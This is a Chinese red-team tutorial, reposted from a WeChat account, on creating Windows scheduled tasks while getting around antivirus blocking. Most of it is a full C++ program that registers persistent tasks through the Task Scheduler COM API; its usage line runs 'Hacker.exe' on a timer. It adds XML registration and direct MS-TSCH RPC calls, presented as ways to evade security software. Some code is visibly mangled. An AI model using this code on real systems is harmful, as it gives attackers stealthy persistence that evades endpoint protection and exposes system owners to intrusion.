创建计划任务
at.exe 在 windows8 开始就弃用了,之后的系统都是使用 schtasks.exe 创建计划任务。schtasks 比 at 更加强大, 使管理员能够在本地或远程计算机上创建、删除、查询、更改、运行和结束计划任务。运行不带参数的 schtasks.exe 将显示每个已注册任务的状态和下次运行时间。
schtasks /Create
[/S system [/U username [/P ]]]
[/RU username [/RP ] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K]
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]
schtasks /create /tn TestSchtask /tr C:WindowsSystem32cmd.exe /sc DAILY /st 13:00:00
计划任务一旦创建成功,将会自动在 %SystemRoot%System32Tasks
目录生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息。
实现
微软通过MS-DCERPC
协议,在上层构建了MS-TSCH
协议,该协议通过XML作为参数,实现了对计划任务的管理。
在微软的实现中,Schedule
服务以SYSTEM
权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken
等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)
以及向epmapper
注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH
协议规定的服务。
微软通过COM
,在Taskschd.dll
内对MS-TSCH
进行面向对象封装,其CLSID
为0F87369F-A4E5-4CFC-BD3E-73E6154572DD
,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。
为了支持脚本功能,为这个类注册了名为Schedule.Service
的ProgId
,并实现了IDispatch
接口,使得VBS/Powershell等脚本语言能够进行快速调用。
攻击者视角看,由于绝大部分文档都仅仅讲述对COM API
的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll
,通过RPC进行绕过可能是一个可行的突破方案。
利用
如果主机存在安全软件,计划任务的创建会被阻止,命令行无法成功创建。
但可通过计划任务API绕过:
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
#include <wincred.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "credui.lib")
#pragma warning(disable: 4996)
using namespace std;
int __cdecl wmain(int argc, wchar_t** argv)
{
wchar_t* str = new wchar_t;
str[0] = L'rm';
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
printf("nCoInitializeEx failed: %x", hr);
return 1;
}
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if (FAILED(hr))
{
printf("nCoInitializeSecurity failed: %x", hr);
CoUninitialize();
return 1;
}
if (argc == 4) {
LPCWSTR wszTaskName = argv[1];
//wstring wstrExecutablePath = _wgetenv(L"WINDIR");
//wstrExecutablePath += L"\SYSTEM32\NOTEPAD.EXE";
wstring wstrExecutablePath = argv[2];
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if (FAILED(hr))
{
printf("ITaskService::Connect failed: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
if (FAILED(hr))
{
printf("Cannot get Root folder pointer: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release();
if (FAILED(hr))
{
printf("Failed to CoCreate an instance of the TaskService class: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
printf("nCannot get identification pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
BSTR Author = SysAllocString(L"Administrator");
pRegInfo->put_Author(Author);
/* pRegInfo->Release();
if (FAILED(hr))
{
printf("nCannot put identification info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}*/
//检查 AppID 证书缓存中是否存在无效或吊销的证书。
//BSTR Author = SysAllocString(L"检查您"+L" Microsoft 软件保持最新状态。");
hr = pRegInfo->put_Description(_bstr_t(L"Check the running status of your ")+ _bstr_t(argv[1]) + _bstr_t(L" software."));
pRegInfo->Release();
if (FAILED(hr))
{
printf("nCannot put_Description info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IPrincipal* pPrincipal = NULL;
hr = pTask->get_Principal(&pPrincipal);
if (FAILED(hr))
{
printf("nCannot get principal pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->Release();
if (FAILED(hr))
{
printf("nCannot put principal info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
printf("nCannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if (FAILED(hr))
{
printf("nCannot put setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IIdleSettings* pIdleSettings = NULL;
hr = pSettings->get_IdleSettings(&pIdleSettings);
if (FAILED(hr))
{
printf("nCannot get idle setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
BSTR PT5M = SysAllocString(L"PT5M");
hr = pIdleSettings->put_WaitTimeout(PT5M);
pIdleSettings->Release();
if (FAILED(hr))
{
printf("nCannot put idle setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
if (FAILED(hr))
{
printf("nCannot get trigger collection: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
pTriggerCollection->Release();
if (FAILED(hr))
{
printf("nCannot create trigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
ITimeTrigger* pTimeTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_ITimeTrigger, (void**)&pTimeTrigger);
pTrigger->Release();
if (FAILED(hr))
{
printf("nQueryInterface call failed for ITimeTrigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pTimeTrigger->put_Id(_bstr_t(L"Trigger1"));
if (FAILED(hr))
printf("nCannot put trigger ID: %x", hr);
hr = pTimeTrigger->put_EndBoundary(_bstr_t(L"2025-05-02T08:00:00"));
if (FAILED(hr))
printf("nCannot put end boundary on trigger: %x", hr);
hr = pTimeTrigger->put_StartBoundary(_bstr_t(L"2005-01-01T12:05:00"));
pTimeTrigger->Release();
if (FAILED(hr))
{
printf("nCannot add start boundary to trigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IRepetitionPattern* IRep = NULL;
hr = pTimeTrigger->get_Repetition(&IRep);
IRep->put_Interval(_bstr_t(L"PT") + _bstr_t(argv[3]));
IRep->Release();
if (FAILED(hr))
{
printf("nCannot put_Interval: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
if (FAILED(hr))
{
printf("nCannot get Task collection pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
if (FAILED(hr))
{
printf("nCannot create the action: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
if (FAILED(hr))
{
printf("nQueryInterface call failed for IExecAction: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
pExecAction->Release();
if (FAILED(hr))
{
printf("nCannot put action path: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr))
{
printf("nError saving the Task : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("n Success! Task successfully registered. ");
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
else if (_wtoi(argv[1])== 1&& argc == 3)
{
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if (FAILED(hr))
{
printf("ITaskService::Connect failed: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
if (FAILED(hr))
{
printf("Cannot get Root folder pointer: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}
pRootFolder->DeleteTask(_bstr_t(argv[2]), 0);
if (FAILED(hr))
{
printf("nError Delete the Task : %x", hr);
pRootFolder->Release();
pRootFolder->Release();
CoUninitialize();
return 1;
}
else
{
printf("Delete Success");
return 0;
}
}
else
{
printf("Create Servers: ITaskServers.exe ServerNmae Hacker.exe 5HnDelete Servers: ITaskServers.exe 1 ServerNmae");
return 1;
}
}
此外,微软提供了XML参考,也可以直接使用ITaskFolder::RegisterTask
通过XML直接注册计划任务。
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
if (FAILED(hr))
{
printf("Cannot get Root folder pointer: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}
IRegisteredTask* pRegisteredTask = NULL;
pRootFolder->RegisterTask
(
_bstr_t(wszTaskName),
_bstr_t("xml"),
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(),
&pRegisteredTask
);
但是现在用这种调用API的方式创建计划任务比较强特征,一般会被拦截。不过只是EXE,DLL不拦。如果不想用DLL也可以使用RPC直接调用,我想这个应该不用多说了吧~
前面的课已经讲过了,可以直接利用RPC调用绕过相当一部分防护软件对计划任务自启动的拦截:
MS-TSCH 6.3 Appendix A.3: SchRpc.idl提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:
RpcTryExcept
{
wchar_t* pActualPath = 0;
const wchar_t* xml = L"<!--snipped xml-->";
_TASK_XML_ERROR_INFO *errorInfo = 0;
SchRpcRegisterTask
(
schrpc_binding_handle,
L"\Test Task",
xml,
6,
0,
0,
0,
0,
&pActualPath,
&errorInfo
);
}
RpcExcept(1)
{
DWORD code = RpcExceptionCode();
printf("RPC Exception %dn", code);
}RpcEndExcept;
参考视频:https://www.bilibili.com/video/BV1co4y1N7x9/
原文始发于微信公众号(老鑫安全):红队免杀-如何绕过杀软拦截创建计划任务
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论